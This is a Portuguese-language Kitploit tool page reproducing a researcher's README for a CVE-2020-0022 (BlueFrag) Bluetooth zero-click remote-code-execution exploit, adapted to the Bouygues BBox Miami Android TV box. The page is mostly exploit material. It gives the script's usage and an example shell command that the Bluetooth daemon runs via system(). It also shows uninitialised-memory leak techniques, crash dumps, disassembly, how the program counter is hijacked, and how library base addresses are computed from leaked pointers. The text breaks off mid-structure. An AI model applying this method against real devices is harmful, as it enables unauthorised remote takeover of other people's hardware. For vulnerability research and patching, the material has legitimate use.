Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-0022 — Exploração da vulnerabilidade CVE-2020-0022 em Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) | Kitploit
Ferramentas/GitHubGitHub/polo35/cve-2020-0022
Segurança AndroidSegurança BluetoothForensia de MemóriaExploraçãoShellcodeFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de Binários
GitHubpolo35/cve-2020-0022

CVE-2020-0022

Exploração da vulnerabilidade CVE-2020-0022 em Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)

Ver Repositório
3713há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

########################################################################################

Exploração da vulnerabilidade CVE-2020-0022 no Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Por Polo35 - 2020/08/24

########################################################################################

"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"

########################################################################################

Baseado nos scripts de Jan Ruge CVE-2020-0022 um Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

INTRODUÇÃO E DICAS

########################################################################################

O script usa o módulo bluetooth do Python para obter o handle de conexão ACL Portanto, você precisa instalar as bibliotecas bluetooth e pybluez (versão 0.22 para python2 e última versão para python3)

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

Você pode passar um comando shell para o script como parâmetro que será executado com a função system pelo daemon bluetooth Existem apenas 104 caracteres disponíveis para o comando shell porque a ROP chain ocupa os primeiros 20 bytes do segundo payload

Exemplo: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

O script pode usar adb para verificar a conexão, inspecionar logcat e reiniciar o alvo quando necessário Para isso, você deve passar o IP do alvo como parâmetro Certifique-se de conectar o alvo com adb connect e abrir um shell para verificar a conexão antes de usar o script

Os melhores resultados são obtidos conectando o alvo via bluetooth com um smartphone quando o script disser ;) Pode levar mais de 30 tentativas para disparar o exploit, mas às vezes funciona na primeira tentativa

########################################################################################

VAZAMENTO DE MEMÓRIA COM ARM32

########################################################################################

O Bouygues BBox Miami é baseado em um processador ARM 32 bits Cortex A9 A diferença para ARM64 é que a função memcpy da libc não causa underflow, então é impossível obter os mesmos vazamentos que Jan Ruge Mas a vulnerabilidade está presente e é explorável de uma forma diferente

Ao enviar pacotes l2cap com fragmentação de 4 bytes, podemos acionar um memcpy de comprimento 0 em reassemble_and_dispatch Isso permite obter 4 bytes de dados não inicializados no final do eco

Aumentar o comprimento do primeiro pacote (doravante chamado mem_offset) permite "caminhar" pela memória não inicializada Obter 32 ecos com o mesmo mem_offset fornece de 2 a 8 ecos exploráveis Os ecos são repetidos, então não é necessário obter mais de 32 ecos com o mesmo mem_offset Este método também preenche a memória com os pacotes, facilitando o reconhecimento de padrões e a localização de deslocamentos nos vazamentos

O mem_offset é o comprimento do pacote l2cap em caracteres Ex: mem_offset 184 = pacote l2cap de 184 caracteres = pacote l2cap de 368 bytes

Exemplo de "caminhada" pela memória e dados não inicializados com repetições:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

Podemos ver em mem_offset 180 e 184 alguns endereços de memória em little endian

a4ce80a3 dá endereço 0xa380cea4 24d280a3 dá endereço 0xa380d224 a4d580a3 dá endereço 0xa380d5a4 9cce80a3 dá endereço 0xa380ce9c 1cd280a3 dá endereço 0xa380d21c 9cd580a3 dá endereço 0xa380d59c

Existem pelo menos 4 ou 5 mem_offset onde é possível encontrar endereços de memória reais após quase todas as reinicializações Veremos mais tarde como podemos usá-los

########################################################################################

ANÁLISE DO PRIMEIRO CRASH

########################################################################################

Ao enviar pacotes l2cap com fragmentação de 2 bytes, podemos acionar um memcpy de comprimento -2 em reassemble_and_dispatch Isso permite transbordar para fora do pacote parcial com 30 bytes de dados controlados do segundo pacote Por causa dos 30 bytes copiados, não é necessário enviar pacotes maiores que 32 bytes com os últimos 4 bytes nulos

Este método de overflow às vezes causa um crash no daemon bluetooth com o registo R0 controlado em _Z11list_appendP6list_tPv+65:

HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

A desassemblagem em 001298e2 dá:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Carrega R0 de R4+0x10 .text:0x1298E2 LDR R1, [R0] => Carrega R1 de R0 => Crash se não controlado !!! .text:0x1298E4 MOVS R0, #8 => Define 8 em R0 .text:0x1298E6 BLX R1 => Branch com link e troca para R1 => Branch para R1 controlado

A descompilação mostra que sobrescrevemos a memória no endereço de R4+0x10, que é o alocador na chamada "node = list->allocator->alloc(8)":

signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!! ... node->data = data_ptr; // r5 ... }

O daemon crashou em LDR R1, [R0] com o registo R0 = dead0003 ao tentar carregar o endereço Podemos controlar R0 com o primeiro payload + 0xC, então se colocarmos um endereço válido lá, podemos controlar R1 com LDR R1, [R0] e então controlar PC com BLX R1

########################################################################################

CONTROLAR O PROGRAM COUNTER POR OVERFLOW DE ENDEREÇO VAZADO

########################################################################################

Usando o método de overflow com o primeiro endereço de memória encontrado em mem_offset 180, podemos mover o crash para um branch para o registo R1 controlado

HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer... HCI: Found link transmit data buffer queue at 0xa458dbc4 HCI: Getting bluetooth library function pointers... HCI: Found SetDataAdvDataSender function at 0x8a4a3b29 HCI: Found bluetooth library base address at 0x8a3ce000 Building the payloads... First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4 0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006 Second payload: 0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a 0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e 0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012 0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016 0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a 0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e 0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022 0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026 0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a 0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e 0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032 0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034 Prepare to connect to the target via bluetooth with your smartphone HCI: Spraying second payload at 0xa458dbc4 Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3) ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!! 07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue) 07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' 07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0' 07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm' 07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<< 07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032 07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001 07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030 07-20 09:28:01.228 21061 21061 F DEBUG : 07-20 09:28:01.228 21061 21061 F DEBUG : backtrace: 07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032 07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) 07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) 07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) 07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) 07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) 07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) 07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) 07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) 07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) 07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) 07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

A mesma desassemblagem em 001298e7 dá:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Carrega R0 de R4+0x10 .text:0x1298E2 LDR R1, [R0] => Carrega R1 de R0 => Crash se não controlado .text:0x1298E4 MOVS R0, #8 => Define 8 em R0 .text:0x1298E6 BLX R1 => Branch com link e troca para R1 => Branch para R1 controlado !!! .text:0x1298E8 MOV R1, R0

O daemon agora crashou em BLX R1 com o registo R1 = dead0033 Este é o padrão enviado em pacotes fragmentados ao obter vazamentos em mem_offset 184 Este será o segundo payload com um endereço conhecido em um offset de -0xb0 do primeiro endereço de memória encontrado em mem_offset 180

Agora podemos controlar o PC da biblioteca bluetooth.marvellberlin.so; temos um segundo local na memória com os dados e sabemos o endereço deste

Após o sinal, os registos contêm:

  • R0 = 0x8
  • R1 = valor do segundo payload + 0xb0
  • R4 = endereço do primeiro payload - 0x4

########################################################################################

OBTER O ENDEREÇO BASE DA BIBLIOTECA BLUETOOTH

########################################################################################

Usando o método de vazamento em mem_offset 28, somos capazes de encontrar alguns endereços de memória:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.

Podemos ver os leaks 29546c8f e 292b728f que dão os endereços 0x8f6c5429 e 0x8f722b29 em little endian

Usando o método de overflow com esses endereços, o daemon em bluetooth.marvellberlin.so falha com o seguinte crash dump:

libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

Aterramos na secção .text da biblioteca bluetooth.marvellberlin.so no offset 000d5b3c

.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]

O crash está em 0xd5b3c logo após o início de uma função, então o endereço encontrado é um ponteiro para esta função Esta função é SetDataAdvDataSender da classe BleAdvertisingManagerImpl usada como ponteiro na função SetData do ficheiro btm_ble_multi_adv.cc

void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }

Agora temos o endereço de uma localização fixa na biblioteca bluetooth.marvellberlin.so e podemos calcular o endereço base desta biblioteca O offset real para o endereço base da biblioteca é 0XD5B29 a partir do ponteiro para a função SetDataAdvDataSender encontrada no mem_offset 28

No exemplo acima encontramos a função SetDataAdvDataSender em 0X8C35DB29 e fizemos overflow deste endereço O endereço base da biblioteca bluetooth era 0X8C35DB29 - 0XD5B29 = 0X8C288000

Também encontramos um ponteiro para 0x8C300429 no mesmo leak no mem_offset 28 O offset entre os dois endereços encontrados é 0x8C35DB29 - 0x8C300429 = 0x5D700 Sabemos que SetDataAdvDataSender está em 0xD5B28 na biblioteca bluetooth, então podemos calcular o endereço do segundo ponteiro encontrado: 0xD5B28 - 0x5D700 = 0x78428 Em 0x78428 na biblioteca bluetooth temos a função bte_hh_evt, que é usada nas funções btif_hh_service_registration e btif_hh_execute_service do ficheiro btif_hh.cc

void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }

bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }

Os dois endereços encontrados no mem_offset 28 terminam sempre com 0xB29 para a função SetDataAdvDataSender e 0x429 para a função bte_hh_evt Com este método, precisamos apenas de um dos dois endereços conhecidos no leak para encontrar o endereço base do bluetooth

Para resumir, podemos encontrar o endereço base da biblioteca bluetooth com:

  • Endereço da função SetDataAdvDataSender encontrado que termina com 0xB29 => Aplicar um offset de 0xD5B28
  • Endereço da função bte_hh_evt encontrado que termina com 0x429 => Aplicar um offset de 0x78429

########################################################################################

ANÁLISE DO CRASH COM O CÓDIGO FONTE DO ANDROID

########################################################################################

O código fonte do Android Oreo 8.1 mostra que sobrescrevemos uma parte do objeto da fila de buffers de dados de transmissão do link p_lcb->link_xmit_data_q

A função l2c_rcv_acl_data cria o objeto tL2C_LCB* p_lcb e passa-o para a função l2c_link_check_send_pkts, que anexa o pacote à fila de buffers link_xmit_data_q

void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }

tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }

p_lcb é retirado do objeto estático l2cb.lcb_pool[0] conforme definido em l2c_main.cc

// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;

static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }

void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }

void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }

bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => Chamada a alloc substituída pela nossa chamada (Apenas um parâmetro !!!) ... }

A definição de link_xmit_data_q na estrutura tL2C_LCB é:

/* Define a link control block. There is one link control block between

  • this device and any other device (i.e. BD ADDR). / typedef struct t_l2c_linkcb { ... list_t link_xmit_data_q; /* Link transmit data buffer queue */ | Tamanho 0x4 | Offset 0x44 ... } tL2C_LCB;

A definição da estrutura list_t é:

typedef struct list_t { list_node_t* head; | Tamanho 0x4 | Offset 0x0 list_node_t* tail; | Tamanho 0x4 | Offset 0x4 size_t length; | Tamanho 0x4 | Offset 0x8 list_free_cb free_cb; | Tamanho 0x4 | Offset 0xC const allocator_t* allocator; | Tamanho 0x4 | Offset 0x10 } list_t; | Tamanho 0x14

Com a estrutura list_node_t:

struct list_node_t {
struct list_node_t* next; | Tamanho 0x4 | Offset 0x0 void* data; | Tamanho 0x4 | Offset 0x4 }; | Tamanho 0x8

E a estrutura allocator_t:

typedef struct {
alloc_fn alloc; | Tamanho 0x4 | Offset 0x0 free_fn free; | Tamanho 0x4 | Offset 0x4 } allocator_t; | Tamanho 0x8

typedef struct {
